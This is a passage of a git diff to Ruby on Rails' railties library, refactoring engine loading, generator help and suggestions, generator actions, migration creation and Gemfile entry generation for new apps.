run_console_blocks(app)
@@ -448,7 +454,7 @@ module Rails
self
end
- # Load rails generators and invoke the registered hooks.
+ # Load Rails generators and invoke the registered hooks.
# Check <tt>Rails::Railtie.generators</tt> for more info.
def load_generators(app=self)
require "rails/generators"
@@ -461,13 +467,17 @@ module Rails
# files inside eager_load paths.
def eager_load!
config.eager_load_paths.each do |load_path|
- matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/
+ matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
require_dependency file.sub(matcher, '\1')
end
end
end
+ def railties
+ @railties ||= Railties.new
+ end
+
# Returns a module with all the helpers defined for the engine.
def helpers
@helpers ||= begin
@@ -503,7 +513,7 @@ module Rails
def call(env)
env.merge!(env_config)
if env['SCRIPT_NAME']
- env.merge! "ROUTES_#{routes.object_id}_SCRIPT_NAME" => env['SCRIPT_NAME'].dup
+ env["ROUTES_#{routes.object_id}_SCRIPT_NAME"] = env['SCRIPT_NAME'].dup
end
app.call(env)
end
@@ -525,7 +535,7 @@ module Rails
# Define the configuration object for the engine.
def config
- @config ||= Engine::Configuration.new(find_root_with_flag("lib"))
+ @config ||= Engine::Configuration.new(self.class.find_root(self.class.called_from))
end
# Load data from db/seeds.rb file. It can be used in to load engines'
@@ -550,7 +560,7 @@ module Rails
#
# This needs to be an initializer, since it needs to run once
# per engine and get the engine as a block parameter
- initializer :set_autoload_paths, before: :bootstrap_hook do |app|
+ initializer :set_autoload_paths, before: :bootstrap_hook do
ActiveSupport::Dependencies.autoload_paths.unshift(*_all_autoload_paths)
ActiveSupport::Dependencies.autoload_once_paths.unshift(*_all_autoload_once_paths)
@@ -603,7 +613,7 @@ module Rails
initializer :load_config_initializers do
config.paths["config/initializers"].existent.sort.each do |initializer|
- load(initializer)
+ load_config_initializer(initializer)
end
end
@@ -631,23 +641,28 @@ module Rails
end
end
+ def routes? #:nodoc:
+ @routes
+ end
+
protected
+ def load_config_initializer(initializer)
+ ActiveSupport::Notifications.instrument('load_config_initializer.railties', initializer: initializer) do
+ load(initializer)
+ end
+ end
+
def run_tasks_blocks(*) #:nodoc:
super
paths["lib/tasks"].existent.sort.each { |ext| load(ext) }
end
- def routes? #:nodoc:
- @routes
- end
-
def has_migrations? #:nodoc:
paths["db/migrate"].existent.any?
end
- def find_root_with_flag(flag, default=nil) #:nodoc:
- root_path = self.class.called_from
+ def self.find_root_with_flag(flag, root_path, default=nil) #:nodoc:
while root_path && File.directory?(root_path) && !File.exist?("#{root_path}/#{flag}")
parent = File.dirname(root_path)
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index 072d16291b..f39f926109 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -27,7 +27,7 @@ else
puts <<-EOT
Usage: rails COMMAND [ARGS]
-The common rails commands available for engines are:
+The common Rails commands available for engines are:
generate Generate new code (short-cut alias: "g")
destroy Undo code generated with "generate" (short-cut alias: "d")
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
index 22e885a3a6..10d1821709 100644
--- a/railties/lib/rails/engine/configuration.rb
+++ b/railties/lib/rails/engine/configuration.rb
@@ -38,6 +38,7 @@ module Rails
def paths
@paths ||= begin
paths = Rails::Paths::Root.new(@root)
+
paths.add "app", eager_load: true, glob: "*"
paths.add "app/assets", glob: "*"
paths.add "app/controllers", eager_load: true
@@ -45,19 +46,27 @@ module Rails
paths.add "app/models", eager_load: true
paths.add "app/mailers", eager_load: true
paths.add "app/views"
+
+ paths.add "app/controllers/concerns", eager_load: true
+ paths.add "app/models/concerns", eager_load: true
+
paths.add "lib", load_path: true
paths.add "lib/assets", glob: "*"
paths.add "lib/tasks", glob: "**/*.rake"
+
paths.add "config"
paths.add "config/environments", glob: "#{Rails.env}.rb"
paths.add "config/initializers", glob: "**/*.rb"
paths.add "config/locales", glob: "*.{rb,yml}"
paths.add "config/routes.rb"
+
paths.add "db"
paths.add "db/migrate"
paths.add "db/seeds.rb"
+
paths.add "vendor", load_path: true
paths.add "vendor/assets", glob: "*"
+
paths
end
end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
new file mode 100644
index 0000000000..9969a1475d
--- /dev/null
+++ b/railties/lib/rails/engine/railties.rb
@@ -0,0 +1,21 @@
+module Rails
+ class Engine < Railtie
+ class Railties
+ include Enumerable
+ attr_reader :_all
+
+ def initialize
+ @_all ||= ::Rails::Railtie.subclasses.map(&:instance) +
+ ::Rails::Engine.subclasses.map(&:instance)
+ end
+
+ def each(*args, &block)
+ _all.each(*args, &block)
+ end
+
+ def -(others)
+ _all - others
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/gem_version.rb b/railties/lib/rails/gem_version.rb
new file mode 100644
index 0000000000..7d74b1bfe5
--- /dev/null
+++ b/railties/lib/rails/gem_version.rb
@@ -0,0 +1,15 @@
+module Rails
+ # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
+ MINOR = 0
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index d9a91b74d1..e25c364178 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -1,6 +1,8 @@
activesupport_path = File.expand_path('../../../../activesupport/lib', __FILE__)
$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
+require 'thor/group'
+
require 'active_support'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/kernel/singleton_class'
@@ -9,12 +11,11 @@ require 'active_support/core_ext/hash/deep_merge'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/inflections'
-require 'rails/generators/base'
-
module Rails
module Generators
autoload :Actions, 'rails/generators/actions'
autoload :ActiveModel, 'rails/generators/active_model'
+ autoload :Base, 'rails/generators/base'
autoload :Migration, 'rails/generators/migration'
autoload :NamedBase, 'rails/generators/named_base'
autoload :ResourceHelpers, 'rails/generators/resource_helpers'
@@ -50,7 +51,6 @@ module Rails
javascripts: true,
javascript_engine: :js,
orm: false,
- performance_tool: nil,
resource_controller: :controller,
resource_route: true,
scaffold_controller: :scaffold_controller,
@@ -153,13 +153,23 @@ module Rails
def self.invoke(namespace, args=ARGV, config={})
names = namespace.to_s.split(':')
if klass = find_by_namespace(names.pop, names.any? && names.join(':'))
- args << "--help" if args.empty? && klass.arguments.any? { |a| a.required? }
+ args << "--help" if args.empty? && klass.arguments.any?(&:required?)
klass.start(args, config)
else
- puts "Could not find generator #{namespace}."
+ options = sorted_groups.map(&:last).flatten
+ suggestions = options.sort_by {|suggested| levenshtein_distance(namespace.to_s, suggested) }.first(3)
+ msg = "Could not find generator '#{namespace}'. "
+ msg << "Maybe you meant #{ suggestions.map {|s| "'#{s}'"}.join(" or ") }\n"
+ msg << "Run `rails generate --help` for more options."
+ puts msg
end
end
+ # Returns an array of generator namespaces that are hidden.
+ # Generator namespaces may be hidden for a variety of reasons.
+ # Some are aliased such as "rails:migration" and can be
+ # invoked with the shorter "migration", others are private to other generators
+ # such as "css:scaffold".
def self.hidden_namespaces
@hidden_namespaces ||= begin
orm = options[:rails][:orm]
@@ -179,7 +189,6 @@ module Rails
"#{test}:model",
"#{test}:scaffold",
"#{test}:view",
- "#{test}:performance",
"#{template}:controller",
"#{template}:scaffold",
"#{template}:mailer",
@@ -200,17 +209,6 @@ module Rails
# Show help message with available generators.
def self.help(command = 'generate')
- lookup!
-
- namespaces = subclasses.map{ |k| k.namespace }
- namespaces.sort!
-
- groups = Hash.new { |h,k| h[k] = [] }
- namespaces.each do |namespace|
- base = namespace.split(':').first
- groups[base] << namespace
- end
-
puts "Usage: rails #{command} GENERATOR [args] [options]"
puts
puts "General options:"
@@ -223,20 +221,74 @@ module Rails
puts "Please choose a generator below."
puts
- # Print Rails defaults first.
+ print_generators
+ end
+
+ def self.public_namespaces
+ lookup!
+ subclasses.map(&:namespace)
+ end
+
+ def self.print_generators
+ sorted_groups.each { |b, n| print_list(b, n) }
+ end
+
+ def self.sorted_groups
+ namespaces = public_namespaces
+ namespaces.sort!
+ groups = Hash.new { |h,k| h[k] = [] }
+ namespaces.each do |namespace|
+ base = namespace.split(':').first
+ groups[base] << namespace
+ end
rails = groups.delete("rails")
rails.map! { |n| n.sub(/^rails:/, '') }
rails.delete("app")
- rails.delete("plugin_new")
- print_list("rails", rails)
+ rails.delete("plugin")
hidden_namespaces.each { |n| groups.delete(n.to_s) }
- groups.sort.each { |b, n| print_list(b, n) }
+ [["rails", rails]] + groups.sort.to_a
end
protected
+ # This code is based directly on the Text gem implementation
+ # Returns a value representing the "cost" of transforming str1 into str2
+ def self.levenshtein_distance str1, str2
+ s = str1
+ t = str2
+ n = s.length
+ m = t.length
+ max = n/2
+
+ return m if (0 == n)
+ return n if (0 == m)
+ return n if (n - m).abs > max
+
+ d = (0..m).to_a
+ x = nil
+
+ str1.each_char.each_with_index do |char1,i|
+ e = i+1
+
+ str2.each_char.each_with_index do |char2,j|
+ cost = (char1 == char2) ? 0 : 1
+ x = [
+ d[j+1] + 1, # insertion
+ e + 1, # deletion
+ d[j] + cost # substitution
+ ].min
+ d[j] = e
+ e = x
+ end
+
+ d[m] = x
+ end
+
+ return x
+ end
+
# Prints a list of generators.
def self.print_list(base, namespaces) #:nodoc:
namespaces = namespaces.reject do |n|
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index b96ee9295e..5373121835 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -4,8 +4,13 @@ require 'rbconfig'
module Rails
module Generators
module Actions
+ def initialize(*) # :nodoc:
+ super
+ @in_group = nil
+ @after_bundle_callbacks = []
+ end
- # Adds an entry into Gemfile for the supplied gem.
+ # Adds an entry into +Gemfile+ for the supplied gem.
#
# gem "rspec", group: :test
# gem "technoweenie-restful-authentication", lib: "restful-authentication", source: "http://gems.github.com/"
@@ -16,9 +21,9 @@ module Rails
# Set the message to be shown in logs. Uses the git repo if one is given,
# otherwise use name (version).
- parts, message = [ name.inspect ], name
+ parts, message = [ quote(name) ], name
if version ||= options.delete(:version)
- parts << version.inspect
+ parts << quote(version)
message << " (#{version})"
end
message = options[:git] if options[:git]
@@ -26,7 +31,7 @@ module Rails
log :gemfile, message
options.each do |option, value|
- parts << "#{option}: #{value.inspect}"
+ parts << "#{option}: #{quote(value)}"
end
in_root do
@@ -57,21 +62,21 @@ module Rails
end
end
- # Add the given source to Gemfile
+ # Add the given source to +Gemfile+
#
# add_source "http://gems.github.com/"
def add_source(source, options={})
log :source, source
in_root do
- prepend_file "Gemfile", "source #{source.inspect}\n", verbose: false
+ prepend_file "Gemfile", "source #{quote(source)}\n", verbose: false
end
end
- # Adds a line inside the Application class for config/application.rb.
+ # Adds a line inside the Application class for <tt>config/application.rb</tt>.
#
- # If options :env is specified, the line is appended to the corresponding
- # file in config/environments.
+ # If options <tt>:env</tt> is specified, the line is appended to the corresponding
+ # file in <tt>config/environments</tt>.
#
# environment do
# "config.autoload_paths += %W(#{config.root}/extras)"
@@ -80,10 +85,10 @@ module Rails
# environment(nil, env: "development") do
# "config.autoload_paths += %W(#{config.root}/extras)"
# end
- def environment(data=nil, options={}, &block)
+ def environment(data=nil, options={})
sentinel = /class [a-z_:]+ < Rails::Application/i
- env_file_sentinel = /::Application\.configure do/
- data = block.call if !data && block_given?
+ env_file_sentinel = /Rails\.application\.configure do/
+ data = yield if !data && block_given?
in_root do
if options[:env].nil?
@@ -112,7 +117,7 @@ module Rails
end
end
- # Create a new file in the vendor/ directory. Code can be specified
+ # Create a new file in the <tt>vendor/</tt> directory. Code can be specified
# in a block or a data string can be given.
#
# vendor("sekrit.rb") do
@@ -139,7 +144,7 @@ module Rails
create_file("lib/#{filename}", data, verbose: false, &block)
end
- # Create a new Rakefile with the provided code (either in a block or a string).
+ # Create a new +Rakefile+ with the provided code (either in a block or a string).
#
# rakefile("bootstrap.rake") do
# project = ask("What is the UNIX name of your project?")
@@ -184,9 +189,9 @@ module Rails
# generate(:authenticated, "user session")
def generate(what, *args)
log :generate, what
- argument = args.map {|arg| arg.to_s }.flatten.join(" ")
+ argument = args.flat_map(&:to_s).join(" ")
- in_root { run_ruby_script("script/rails generate #{what} #{argument}", verbose: false) }
+ in_root { run_ruby_script("bin/rails generate #{what} #{argument}", verbose: false) }
end
# Runs the supplied rake task
@@ -209,9 +214,9 @@ module Rails
in_root { run("#{extify(:capify)} .", verbose: false) }
end
- # Make an entry in Rails routing file config/routes.rb
+ # Make an entry in Rails routing file <tt>config/routes.rb</tt>
#
- # route "root :to => 'welcome#index'"
+ # route "root 'welcome#index'"
def route(routing_code)
log :route, routing_code
sentinel = /\.routes\.draw do\s*$/
@@ -228,6 +233,16 @@ module Rails
log File.read(find_in_source_paths(path))
end
+ # Registers a callback to be executed after bundle and spring binstubs
+ # have run.
+ #
+ # after_bundle do
+ # git add: '.'
+ # end
+ def after_bundle(&block)
+ @after_bundle_callbacks << block
+ end
+
protected
# Define log for backwards compatibility. If just one argument is sent,
@@ -251,6 +266,17 @@ module Rails
end
end
+ # Surround string with single quotes if there is no quotes.
+ # Otherwise fall back to double quotes
+ def quote(value)
+ return value.inspect unless value.is_a? String
+
+ if value.include?("'")
+ value.inspect
+ else
+ "'#{value}'"
+ end
+ end
end
end
end
diff --git a/railties/lib/rails/generators/actions/create_migration.rb b/railties/lib/rails/generators/actions/create_migration.rb
new file mode 100644
index 0000000000..cffdef6ec9
--- /dev/null
+++ b/railties/lib/rails/generators/actions/create_migration.rb
@@ -0,0 +1,69 @@
+require 'thor/actions'
+
+module Rails
+ module Generators
+ module Actions
+ class CreateMigration < Thor::Actions::CreateFile
+
+ def migration_dir
+ File.dirname(@destination)
+ end
+
+ def migration_file_name
+ @base.migration_file_name
+ end
+
+ def identical?
+ exists? && File.binread(existing_migration) == render
+ end
+
+ def revoke!
+ say_destination = exists? ? relative_existing_migration : relative_destination
+ say_status :remove, :red, say_destination
+ return unless exists?
+ ::FileUtils.rm_rf(existing_migration) unless pretend?
+ existing_migration
+ end
+
+ def relative_existing_migration
+ base.relative_to_original_destination_root(existing_migration)
+ end
+
+ def existing_migration
+ @existing_migration ||= begin
+ @base.class.migration_exists?(migration_dir, migration_file_name) ||
+ File.exist?(@destination) && @destination
+ end
+ end
+ alias :exists? :existing_migration
+
+ protected
+
+ def on_conflict_behavior
+ options = base.options.merge(config)
+ if identical?
+ say_status :identical, :blue, relative_existing_migration
+ elsif options[:force]
+ say_status :remove, :green, relative_existing_migration
+ say_status :create, :green
+ unless pretend?
+ ::FileUtils.rm_rf(existing_migration)
+ yield
+ end
+ elsif options[:skip]
+ say_status :skip, :yellow
+ else
+ say_status :conflict, :red
+ raise Error, "Another migration is already named #{migration_file_name}: " +
+ "#{existing_migration}. Use --force to replace this migration " +
+ "or --skip to ignore conflicted file."
+ end
+ end
+
+ def say_status(status, color, message = relative_destination)
+ base.shell.say_status(status, message, color) if config[:verbose]
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/active_model.rb b/railties/lib/rails/generators/active_model.rb
index 0e51b9c568..6183944bb0 100644
--- a/railties/lib/rails/generators/active_model.rb
+++ b/railties/lib/rails/generators/active_model.rb
@@ -59,8 +59,8 @@ module Rails
end
# PATCH/PUT update
- def update_attributes(params=nil)
- "#{name}.update_attributes(#{params})"
+ def update(params=nil)
+ "#{name}.update(#{params})"
end
# POST create
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 77db881b65..f5ae600bd8 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -1,10 +1,10 @@
require 'digest/md5'
-require 'securerandom'
require 'active_support/core_ext/string/strip'
require 'rails/version' unless defined?(Rails::VERSION)
-require 'rbconfig'
require 'open-uri'
require 'uri'
+require 'rails/generators'
+require 'active_support/core_ext/array/extract_options'
module Rails
module Generators
@@ -18,17 +18,18 @@ module Rails
argument :app_path, type: :string
- def self.add_shared_options_for(name)
- class_option :builder, type: :string, aliases: '-b',
- desc: "Path to a #{name} builder (can be a filesystem path or URL)"
+ def self.strict_args_position
+ false
+ end
+ def self.add_shared_options_for(name)
class_option :template, type: :string, aliases: '-m',
- desc: "Path to an #{name} template (can be a filesystem path or URL)"
+ desc: "Path to some #{name} template (can be a filesystem path or URL)"
class_option :skip_gemfile, type: :boolean, default: false,
desc: "Don't create a Gemfile"
- class_option :skip_bundle, type: :boolean, default: false,
+ class_option :skip_bundle, type: :boolean, aliases: '-B', default: false,
desc: "Don't run bundle install"
class_option :skip_git, type: :boolean, aliases: '-G', default: false,
@@ -43,6 +44,9 @@ module Rails
class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
desc: 'Skip Sprockets files'
+ class_option :skip_spring, type: :boolean, default: false,
+ desc: "Don't install Spring application preloader"
+
class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
@@ -58,34 +62,66 @@ module Rails
class_option :edge, type: :boolean, default: false,
desc: "Setup the #{name} with Gemfile pointing to Rails repository"
+ class_option :skip_turbolinks, type: :boolean, default: false,
+ desc: 'Skip turbolinks gem'
+
class_option :skip_test_unit, type: :boolean, aliases: '-T', default: false,
desc: 'Skip Test::Unit files'
+ class_option :rc, type: :string, default: false,
+ desc: "Path to file containing extra configuration options for rails command"
+
+ class_option :no_rc, type: :boolean, default: false,
+ desc: 'Skip loading of extra configuration options from .railsrc file'
+
class_option :help, type: :boolean, aliases: '-h', group: :rails,
desc: 'Show this help message and quit'
end
def initialize(*args)
- @original_wd = Dir.pwd
+ @gem_filter = lambda { |gem| true }
+ @extra_entries = []
super
convert_database_option_for_jruby
end
protected
+ def gemfile_entry(name, *args)
+ options = args.extract_options!
+ version = args.first
+ github = options[:github]
+ path = options[:path]
+
+ if github
+ @extra_entries << GemfileEntry.github(name, github)
+ elsif path
+ @extra_entries << GemfileEntry.path(name, path)
+ else
+ @extra_entries << GemfileEntry.version(name, version)
+ end
+ self
+ end
+
+ def gemfile_entries
+ [rails_gemfile_entry,
+ database_gemfile_entry,
+ assets_gemfile_entry,
+ javascript_gemfile_entry,
+ jbuilder_gemfile_entry,
+ sdoc_gemfile_entry,
+ psych_gemfile_entry,
+ @extra_entries].flatten.find_all(&@gem_filter)
+ end
+
+ def add_gem_entry_filter
+ @gem_filter = lambda { |next_filter, entry|
+ yield(entry) && next_filter.call(entry)
+ }.curry[@gem_filter]
+ end
+
def builder
@builder ||= begin
- if path = options[:builder]
- if URI(path).is_a?(URI::HTTP)
- contents = open(path, "Accept" => "application/x-thor-template") {|io| io.read }
- else
- contents = open(File.expand_path(path, @original_wd)) {|io| io.read }
- end
-
- prok = eval("proc { #{contents} }", TOPLEVEL_BINDING, path, 1)
- instance_eval(&prok)
- end
-
builder_class = get_builder_class
builder_class.send(:include, ActionMethods)
builder_class.new(self)
@@ -97,11 +133,9 @@ module Rails
end
def create_root
- self.destination_root = File.expand_path(app_path, destination_root)
valid_const?
empty_directory '.'
- set_default_accessors!
FileUtils.cd(destination_root) unless options[:pretend]
end
@@ -112,6 +146,7 @@ module Rails
end
def set_default_accessors!
+ self.destination_root = File.expand_path(app_path, destination_root)
self.rails_template = case options[:template]
when /^https?:\/\//
options[:template]
@@ -123,7 +158,9 @@ module Rails
end
def database_gemfile_entry
- options[:skip_active_record] ? "" : "gem '#{gem_for_database}'"
+ return [] if options[:skip_active_record]
+ GemfileEntry.version gem_for_database, nil,
+ "Use #{options[:database]} as the database for Active Record"
end
def include_all_railties?
@@ -134,26 +171,37 @@ module Rails
options[value] ? '# ' : ''
end
+ def sqlite3?
+ !options[:skip_active_record] && options[:database] == 'sqlite3'
+ end
+
+ class GemfileEntry < Struct.new(:name, :version, :comment, :options, :commented_out)
+ def initialize(name, version, comment, options = {}, commented_out = false)
+ super
+ end
+
+ def self.github(name, github, comment = nil)
+ new(name, nil, comment, github: github)
+ end
+
+ def self.version(name, version, comment = nil)
+ new(name, version, comment)
+ end
+
+ def self.path(name, path, comment = nil)
+ new(name, nil, comment, path: path)
+ end
+ end
+
def rails_gemfile_entry
if options.dev?
- <<-GEMFILE.strip_heredoc
- gem 'rails', path: '#{Rails::Generators::RAILS_DEV_PATH}'
- gem 'journey', github: 'rails/journey'
- gem 'arel', github: 'rails/arel'
- gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
- GEMFILE
+ [GemfileEntry.path('rails', Rails::Generators::RAILS_DEV_PATH)]
elsif options.edge?
- <<-GEMFILE.strip_heredoc
- gem 'rails', github: 'rails/rails'
- gem 'journey', github: 'rails/journey'
- gem 'arel', github: 'rails/arel'
- gem 'activerecord-deprecated_finders', github: 'rails/activerecord-deprecated_finders'
- GEMFILE
+ [GemfileEntry.github('rails', 'rails/rails')]
else
- <<-GEMFILE.strip_heredoc
- # Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
- gem 'rails', '#{Rails::VERSION::STRING}'
- GEMFILE
+ [GemfileEntry.version('rails',
+ Rails::VERSION::STRING,
+ "Bundle edge Rails instead: gem 'rails', github: 'rails/rails'")]
end
end
@@ -185,60 +233,77 @@ module Rails
end
def assets_gemfile_entry
- return if options[:skip_sprockets]
-
- gemfile = if options.dev? || options.edge?
- <<-GEMFILE
- # Gems used only for assets and not required
- # in production environments by default.
- group :assets do
- gem 'sprockets-rails', github: 'rails/sprockets-rails'
- gem 'sass-rails', github: 'rails/sass-rails'
- gem 'coffee-rails', github: 'rails/coffee-rails'
-
- # See https://github.com/sstephenson/execjs#readme for more supported runtimes
- #{javascript_runtime_gemfile_entry}
- gem 'uglifier', '>= 1.0.3'
- end
- GEMFILE
+ return [] if options[:skip_sprockets]
+
+ gems = []
+ if options.dev? || options.edge?
+ gems << GemfileEntry.github('sass-rails', 'rails/sass-rails',
+ 'Use SCSS for stylesheets')
else
- <<-GEMFILE
- # Gems used only for assets and not required
- # in production environments by default.
- group :assets do
- gem 'sprockets-rails', '~> 2.0.0.rc1'
- gem 'sass-rails', '~> 4.0.0.beta'
- gem 'coffee-rails', '~> 4.0.0.beta'
-
- # See https://github.com/sstephenson/execjs#readme for more supported runtimes
- #{javascript_runtime_gemfile_entry}
- gem 'uglifier', '>= 1.0.3'
- end
- GEMFILE
+ gems << GemfileEntry.version('sass-rails', '~> 4.0',
+ 'Use SCSS for stylesheets')
end
- gemfile.strip_heredoc.gsub(/^[ \t]*$/, '')
+ gems << GemfileEntry.version('uglifier',
+ '>= 1.3.0',
+ 'Use Uglifier as compressor for JavaScript assets')
+
+ gems
+ end
+
+ def jbuilder_gemfile_entry
+ comment = 'Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder'
+ GemfileEntry.version('jbuilder', '~> 2.0', comment)
+ end
+
+ def sdoc_gemfile_entry
+ comment = 'bundle exec rake doc:rails generates the API under doc/api.'
+ GemfileEntry.new('sdoc', '~> 0.4.0', comment, group: :doc)
+ end
+
+ def coffee_gemfile_entry
+ comment = 'Use CoffeeScript for .coffee assets and views'
+ if options.dev? || options.edge?
+ GemfileEntry.github 'coffee-rails', 'rails/coffee-rails', comment
+ else
+ GemfileEntry.version 'coffee-rails', '~> 4.1.0', comment
+ end
end
def javascript_gemfile_entry
- unless options[:skip_javascript]
- <<-GEMFILE.strip_heredoc
- gem '#{options[:javascript]}-rails'
+ if options[:skip_javascript]
+ []
+ else
+ gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry]
+ gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
+ "Use #{options[:javascript]} as the JavaScript library")
+
+ unless options[:skip_turbolinks]
+ gems << GemfileEntry.version("turbolinks", nil,
+ "Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks")
+ end
- # Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
- gem 'turbolinks'
- GEMFILE
+ gems
end
end
def javascript_runtime_gemfile_entry
+ comment = 'See https://github.com/sstephenson/execjs#readme for more supported runtimes'
if defined?(JRUBY_VERSION)
- "gem 'therubyrhino'\n"
+ GemfileEntry.version 'therubyrhino', nil, comment
else
- "# gem 'therubyracer', platforms: :ruby\n"
+ GemfileEntry.new 'therubyracer', nil, comment, { platforms: :ruby }, true
end
end
+ def psych_gemfile_entry
+ return [] unless defined?(Rubinius)
+
+ comment = 'Use Psych as the YAML engine, instead of Syck, so serialized ' \
+ 'data can be read safely from different rubies (see http://git.io/uuLVag)'
+ GemfileEntry.new('psych', '~> 2.0', comment, platforms: :rbx)
+ end
+
def bundle_command(command)
say_status :run, "bundle #{command}"
@@ -258,12 +323,27 @@ module Rails
require 'bundler'
Bundler.with_clean_env do
- print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ output = `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ print output unless options[:quiet]
end
end
+ def bundle_install?
+ !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+ end
+
+ def spring_install?
+ !options[:skip_spring] && Process.respond_to?(:fork) && !RUBY_PLATFORM.include?("cygwin")
+ end
+
def run_bundle
- bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+ bundle_command('install') if bundle_install?
+ end
+
+ def generate_spring_binstubs
+ if bundle_install? && spring_install?
+ bundle_command("exec spring binstub --all")
+ end
end
def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 7e938fab47..813b8b629e 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -7,8 +7,6 @@ rescue LoadError
exit
end
-require 'rails/generators/actions'
-
module Rails
module Generators
class Error < Thor::Error # :nodoc:
@@ -85,7 +83,7 @@ module Rails
#
# The first and last part used to find the generator to be invoked are
# guessed based on class invokes hook_for, as noticed in the example above.
- # This can be customized with two options: :base and :as.
+ # This can be customized with two options: :in and :as.
#
# Let's suppose you are creating a generator that needs to invoke the
# controller generator from test unit. Your first attempt is:
@@ -110,7 +108,7 @@ module Rails
# "test_unit:controller", "test_unit"
#
# Similarly, if you want it to also lookup in the rails namespace, you just
- # need to provide the :base value:
+ # need to provide the :in value:
#
# class AwesomeGenerator < Rails::Generators::Base
# hook_for :test_framework, in: :rails, as: :controller
@@ -168,15 +166,15 @@ module Rails
as_hook = options.delete(:as) || generator_name
names.each do |name|
- defaults = if options[:type] == :boolean
- { }
- elsif [true, false].include?(default_value_for_option(name, options))
- { banner: "" }
- else
- { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
- end
-
unless class_options.key?(name)
+ defaults = if options[:type] == :boolean
+ { }
+ elsif [true, false].include?(default_value_for_option(name, options))
+ { banner: "" }
+ else
+ { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+ end
+
class_option(name, defaults.merge!(options))
end
@@ -211,7 +209,7 @@ module Rails
return unless base_name && generator_name
return unless default_generator_root
path = File.join(default_generator_root, 'templates')
- path if File.exists?(path)
+ path if File.exist?(path)
end
# Returns the base root for a common set of generators. This is used to dynamically
@@ -255,12 +253,7 @@ module Rails
# Split the class from its module nesting
nesting = class_name.split('::')
last_name = nesting.pop
-
- # Extract the last Module in the nesting
- last = nesting.inject(Object) do |last_module, nest|
- break unless last_module.const_defined?(nest, false)
- last_module.const_get(nest)
- end
+ last = extract_last_module(nesting)
if last && last.const_defined?(last_name.camelize, false)
raise Error, "The name '#{class_name}' is either already used in your application " <<
@@ -270,9 +263,17 @@ module Rails
end
end
+ # Takes in an array of nested modules and extracts the last module
+ def extract_last_module(nesting)
+ nesting.inject(Object) do |last_module, nest|
+ break unless last_module.const_defined?(nest, false)
+ last_module.const_get(nest)
+ end
+ end
+
# Use Rails default banner.
def self.banner
- "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
+ "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map(&:usage).join(' ')} [options]".gsub(/\s+/, ' ')
end
# Sets the base_name taking into account the current class namespace.
@@ -295,7 +296,7 @@ module Rails
end
end
- # Return the default value for the option name given doing a lookup in
+ # Returns the default value for the option name given doing a lookup in
# Rails::Generators.options.
def self.default_value_for_option(name, options)
default_for_option(Rails::Generators.options, name, options, options[:default])
@@ -365,12 +366,12 @@ module Rails
source_root && File.expand_path("../USAGE", source_root),
default_generator_root && File.join(default_generator_root, "USAGE")
]
- paths.compact.detect { |path| File.exists? path }
+ paths.compact.detect { |path| File.exist? path }
end
def self.default_generator_root
path = File.expand_path(File.join(base_name, generator_name), base_root)
- path if File.exists?(path)
+ path if File.exist?(path)
end
end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index 73e986ee7f..0755ac335c 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -5,6 +5,10 @@ module Erb # :nodoc:
class Base < Rails::Generators::NamedBase #:nodoc:
protected
+ def formats
+ [format]
+ end
+
def format
:html
end
@@ -13,7 +17,7 @@ module Erb # :nodoc:
:erb
end
- def filename_with_extensions(name)
+ def filename_with_extensions(name, format = self.format)
[name, format, handler].compact.join(".")
end
end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
